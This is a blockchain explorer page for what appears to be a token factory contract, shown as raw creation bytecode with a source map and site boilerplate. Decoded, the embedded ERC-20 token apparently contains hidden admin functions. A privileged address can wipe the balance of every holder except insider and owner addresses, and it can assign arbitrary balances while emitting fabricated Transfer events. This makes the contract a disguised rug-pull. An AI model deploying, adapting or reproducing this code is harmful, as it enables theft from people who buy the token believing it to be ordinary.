0x608060405260043610610020575f3560e01c8063f62f82d61461002b575f5ffd5b3661002757005b5f5ffd5b61003e6100393660046101aa565b61005a565b6040516001600160a01b03909116815260200160405180910390f35b5f5f34878787878760405161006e906100e3565b61007c95949392919061026d565b6040518091039082f0905080158015610097573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e81888888886040516100d19594939291906102bc565b60405180910390a19695505050505050565b6119f68061031883390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610113575f5ffd5b813567ffffffffffffffff81111561012d5761012d6100f0565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561015c5761015c6100f0565b604052818152838201602001851015610173575f5ffd5b816020850160208301375f918101602001919091529392505050565b80356001600160a01b03811681146101a5575f5ffd5b919050565b5f5f5f5f5f60a086880312156101be575f5ffd5b853567ffffffffffffffff8111156101d4575f5ffd5b6101e088828901610104565b955050602086013567ffffffffffffffff8111156101fc575f5ffd5b61020888828901610104565b9450506102176040870161018f565b92506102256060870161018f565b91506102336080870161018f565b90509295509295909350565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b60a081525f61027f60a083018861023f565b8281036020840152610291818861023f565b6001600160a01b03968716604085015294861660608401525050921660809092019190915292915050565b6001600160a01b038616815260a0602082018190525f906102df9083018761023f565b82810360408401526102f1818761023f565b6001600160a01b039586166060850152939094166080909201919091525094935050505056fe60806040819052600b805460ff60a01b191690556119f63881900390819083398101604081905261002f9161058e565b5f80546001600160a01b0319163390811782556040519091905f5160206119765f395f51905f52908290a361006383610175565b600161006f86826106a7565b50600261007c85826106a7565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100e96127106100e36c0c9f2c9cd04674edea4000000060016101e2565b9061026e565b305f81815260046020526040812092909255905f5160206119965f395f51905f526101286127106100e36c0c9f2c9cd04674edea4000000060016101e2565b60405190815260200160405180910390a36101416102c8565b60405130903480156108fc02915f818181858888f1935050505015801561016a573d5f5f3e3d5ffd5b5050505050506107be565b5f546001600160a01b0316331461018a575f5ffd5b6001600160a01b03811661019c575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119765f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f157505f610268565b5f6101fc8385610775565b905082610209858361078c565b146102655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102be5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025c565b610265828461078c565b5f6102e86127106100e36c0c9f2c9cd04674edea400000006126e86101e2565b90505f6103096127106100e36c0c9f2c9cd04674edea40000000600a6101e2565b90505f61032a6127106100e36c0c9f2c9cd04674edea40000000601d6101e2565b7342000000000000000000000000000000000000065f5260046020525f5160206119d65f395f51905f52549091506103629084610478565b60046020525f5160206119d65f395f51905f525561dead5f525f5160206119b65f395f51905f52546103949083610478565b60046020525f5160206119b65f395f51905f52556007546001600160a01b03165f90815260409020546103c79082610478565b6007546001600160a01b03165f9081526004602090815260409182902092909255518481527342000000000000000000000000000000000000069130915f5160206119965f395f51905f52910160405180910390a360405182815261dead9030905f5160206119965f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f5160206119965f395f51905f529060200160405180910390a3505050565b5f8061048483856107ab565b9050838110156102655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025c565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104f9575f5ffd5b81516001600160401b03811115610512576105126104d6565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610540576105406104d6565b604052818152838201602001851015610557575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610589575f5ffd5b919050565b5f5f5f5f5f60a086880312156105a2575f5ffd5b85516001600160401b038111156105b7575f5ffd5b6105c3888289016104ea565b602088015190965090506001600160401b038111156105e0575f5ffd5b6105ec888289016104ea565b9450506105fb60408701610573565b925061060960608701610573565b915061061760808701610573565b90509295509295909350565b600181811c9082168061063757607f821691505b60208210810361065557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106a257805f5260205f20601f840160051c810160208510156106805750805b601f840160051c820191505b8181101561069f575f815560010161068c565b50505b505050565b81516001600160401b038111156106c0576106c06104d6565b6106d4816106ce8454610623565b8461065b565b6020601f821160018114610706575f83156106ef5750848201515b5f19600385901b1c1916600184901b17845561069f565b5f84815260208120601f198516915b828110156107355787850151825560209485019460019092019101610715565b508482101561075257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026857610268610761565b5f826107a657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026857610268610761565b6111ab806107cb5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb1461028f578063dd62ed3e146102ae578063e8078d94146102f2578063f2fde38b14610306575f5ffd5b80638da5cb5b146102175780638f8af1e11461023d57806395d89b411461025c578063a37e0a6414610270575f5ffd5b806323b872dd116100c257806323b872dd14610195578063313ce567146101b457806370a08231146101cf578063715018a614610203575f5ffd5b806306fdde03146100fd578063095ea7b3146101275780630bc60abb1461015657806318160ddd1461016c575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b50610111610325565b60405161011e9190610e2d565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e76565b6103b5565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103cb565b005b348015610177575f5ffd5b506c0c9f2c9cd04674edea400000005b60405190815260200161011e565b3480156101a0575f5ffd5b506101466101af366004610ea0565b6104df565b3480156101bf575f5ffd5b506040516012815260200161011e565b3480156101da575f5ffd5b506101876101e9366004610ede565b6001600160a01b03165f9081526004602052604090205490565b34801561020e575f5ffd5b5061016a61052e565b348015610222575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610248575f5ffd5b5061016a610257366004610ef9565b61058b565b348015610267575f5ffd5b5061011161066c565b34801561027b575f5ffd5b5061016a61028a366004610ede565b61067b565b34801561029a575f5ffd5b506101466102a9366004610e76565b610727565b3480156102b9575f5ffd5b506101876102c8366004610f6a565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156102fd575f5ffd5b5061016a610733565b348015610311575f5ffd5b5061016a610320366004610ede565b610a20565b60606001805461033490610fa1565b80601f016020809104026020016040519081016040528092919081815260200182805461036090610fa1565b80156103ab5780601f10610382576101008083540402835291602001916103ab565b820191905f5260205f20905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b5f6103c1338484610aa0565b5060015b92915050565b6008546001600160a01b031633146103e1575f5ffd5b5f5b6006548110156104dc575f6006828154811061040157610401610fd9565b5f918252602090912001546001600160a01b0316905030811480159061043457505f546001600160a01b03828116911614155b801561044e5750600b546001600160a01b03828116911614155b801561046a57506001600160a01b0381166006602160991b0114155b801561048157506001600160a01b03811661dead14155b801561049b57506008546001600160a01b03828116911614155b80156104b557506007546001600160a01b03828116911614155b156104d3576001600160a01b0381165f908152600460205260408120555b506001016103e3565b50565b5f6104eb848484610bc4565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461052491869161051f9086610ca7565b610aa0565b5060019392505050565b5f546001600160a01b03163314610543575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b031633146105a1575f5ffd5b5f5b8181101561066757600160045f8585858181106105c2576105c2610fd9565b90506020020160208101906105d79190610ede565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061060757610607610fd9565b905060200201602081019061061c9190610ede565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161065791815260200190565b60405180910390a36001016105a3565b505050565b60606002805461033490610fa1565b6008546001600160a01b03163314610691575f5ffd5b61069d6012600a6110e4565b6106b4906c0c9f2c9cd04674edea400000006110f2565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106fc6012600a6110e4565b610713906c0c9f2c9cd04674edea400000006110f2565b60405190815260200160405180910390a350565b5f6103c1338484610bc4565b5f546001600160a01b03163314610748575f5ffd5b600b54600160a01b900460ff16156107a75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610801573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190611109565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610884573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611109565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108f2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611109565b600b80546001600160a01b0319166001600160a01b03928316179055600a5461094f913091166c0c9f2c9cd04674edea40000000610aa0565b600a546001600160a01b031663f305d7194730610980816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af11580156109e3573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a089190611124565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610a35575f5ffd5b6001600160a01b038116610a47575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161079e565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161079e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd6575f5ffd5b6001600160a01b038216610be8575f5ffd5b6001600160a01b0383165f90815260046020526040902054610c0a9082610ca7565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610c389082610d09565b6001600160a01b0383165f90815260046020526040902055610c5983610d67565b610c6282610d67565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bb791815260200190565b5f82821115610cf85760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161079e565b610d02828461114f565b9392505050565b5f80610d158385611162565b905083811015610d025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161079e565b6001600160a01b0381165f90815260046020526040902054156104dc575f805b600654811015610dd857826001600160a01b031660068281548110610dae57610dae610fd9565b5f918252602090912001546001600160a01b031603610dd05760019150610dd8565b600101610d87565b5080610e2957600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104dc575f5ffd5b5f5f60408385031215610e87575f5ffd5b8235610e9281610e62565b946020939093013593505050565b5f5f5f60608486031215610eb2575f5ffd5b8335610ebd81610e62565b92506020840135610ecd81610e62565b929592945050506040919091013590565b5f60208284031215610eee575f5ffd5b8135610d0281610e62565b5f5f60208385031215610f0a575f5ffd5b823567ffffffffffffffff811115610f20575f5ffd5b8301601f81018513610f30575f5ffd5b803567ffffffffffffffff811115610f46575f5ffd5b8560208260051b8401011115610f5a575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610f7b575f5ffd5b8235610f8681610e62565b91506020830135610f9681610e62565b809150509250929050565b600181811c90821680610fb557607f821691505b602082108103610fd357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561103c5780850481111561102057611020610fed565b600184161561102e57908102905b60019390931c928002611005565b935093915050565b5f82611052575060016103c5565b8161105e57505f6103c5565b8160018114611074576002811461107e5761109a565b60019150506103c5565b60ff84111561108f5761108f610fed565b50506001821b6103c5565b5060208310610133831016604e8410600b84101617156110bd575081810a6103c5565b6110c95f198484611001565b805f19048211156110dc576110dc610fed565b029392505050565b5f610d0260ff841683611044565b80820281158282048414176103c5576103c5610fed565b5f60208284031215611119575f5ffd5b8151610d0281610e62565b5f5f5f60608486031215611136575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103c5576103c5610fed565b808201808211156103c5576103c5610fed56fea264697066735822122015f167374696cfa3458c681fc9b3d337da539d5956d62fd44c05ab161f1b107b64736f6c634300081e00338be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8a26469706673582212201ae6adfa9bf0769fa7fc1e906bc49c1739bc69d50bc52a151b4a8715f88eae0364736f6c634300081e0033

Deployed Bytecode Sourcemap

9960:788:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10186:515;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;1986:32:1;;;1968:51;;1956:2;1941:18;10186:515:0;;;;;;;;10400:7;10429:28;10493:9;10504:5;10511:7;10520:9;10531:16;10549;10460:106;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;10429:137;;10582:76;10603:8;10614:5;10621:7;10630:9;10641:16;10582:76;;;;;;;;;;:::i;:::-;;;;;;;;10684:8;10186:515;-1:-1:-1;;;;;;10186:515:0:o;-1:-1:-1:-;;;;;;;;:::o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:726;189:5;242:3;235:4;227:6;223:17;219:27;209:55;;260:1;257;250:12;209:55;300:6;287:20;330:18;322:6;319:30;316:56;;;352:18;;:::i;:::-;401:2;395:9;493:2;455:17;;-1:-1:-1;;451:31:1;;;484:2;447:40;443:54;431:67;;528:18;513:34;;549:22;;;510:62;507:88;;;575:18;;:::i;:::-;611:2;604:22;635;;;676:19;;;697:4;672:30;669:39;-1:-1:-1;666:59:1;;;721:1;718;711:12;666:59;785:6;778:4;770:6;766:17;759:4;751:6;747:17;734:58;840:1;812:19;;;833:4;808:30;801:41;;;;816:6;146:726;-1:-1:-1;;;146:726:1:o;877:173::-;945:20;;-1:-1:-1;;;;;994:31:1;;984:42;;974:70;;1040:1;1037;1030:12;974:70;877:173;;;:::o;1055:762::-;1170:6;1178;1186;1194;1202;1255:3;1243:9;1234:7;1230:23;1226:33;1223:53;;;1272:1;1269;1262:12;1223:53;1312:9;1299:23;1345:18;1337:6;1334:30;1331:50;;;1377:1;1374;1367:12;1331:50;1400;1442:7;1433:6;1422:9;1418:22;1400:50;:::i;:::-;1390:60;;;1503:2;1492:9;1488:18;1475:32;1532:18;1522:8;1519:32;1516:52;;;1564:1;1561;1554:12;1516:52;1587;1631:7;1620:8;1609:9;1605:24;1587:52;:::i;:::-;1577:62;;;1658:38;1692:2;1681:9;1677:18;1658:38;:::i;:::-;1648:48;;1715:38;1749:2;1738:9;1734:18;1715:38;:::i;:::-;1705:48;;1772:39;1806:3;1795:9;1791:19;1772:39;:::i;:::-;1762:49;;1055:762;;;;;;;;:::o;2030:289::-;2072:3;2110:5;2104:12;2137:6;2132:3;2125:19;2193:6;2186:4;2179:5;2175:16;2168:4;2163:3;2159:14;2153:47;2245:1;2238:4;2229:6;2224:3;2220:16;2216:27;2209:38;2308:4;2301:2;2297:7;2292:2;2284:6;2280:15;2276:29;2271:3;2267:39;2263:50;2256:57;;;2030:289;;;;:::o;2324:677::-;2605:3;2594:9;2587:22;2568:4;2632:46;2673:3;2662:9;2658:19;2650:6;2632:46;:::i;:::-;2726:9;2718:6;2714:22;2709:2;2698:9;2694:18;2687:50;2754:33;2780:6;2772;2754:33;:::i;:::-;-1:-1:-1;;;;;2823:32:1;;;2818:2;2803:18;;2796:60;2892:32;;;2887:2;2872:18;;2865:60;-1:-1:-1;;2962:32:1;;2956:3;2941:19;;;2934:61;;;;2746:41;2324:677;-1:-1:-1;;2324:677:1:o;3006:::-;-1:-1:-1;;;;;3287:32:1;;3269:51;;3307:3;3351:2;3336:18;;3329:31;;;-1:-1:-1;;3383:46:1;;3409:19;;3401:6;3383:46;:::i;:::-;3477:9;3469:6;3465:22;3460:2;3449:9;3445:18;3438:50;3505:33;3531:6;3523;3505:33;:::i;:::-;-1:-1:-1;;;;;3574:32:1;;;3569:2;3554:18;;3547:60;3644:32;;;;3638:3;3623:19;;;3616:61;;;;-1:-1:-1;3497:41:1;3006:677;-1:-1:-1;;;;3006:677:1:o

Swarm Source

ipfs://1ae6adfa9bf0769fa7fc1e906bc49c1739bc69d50bc52a151b4a8715f88eae03

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.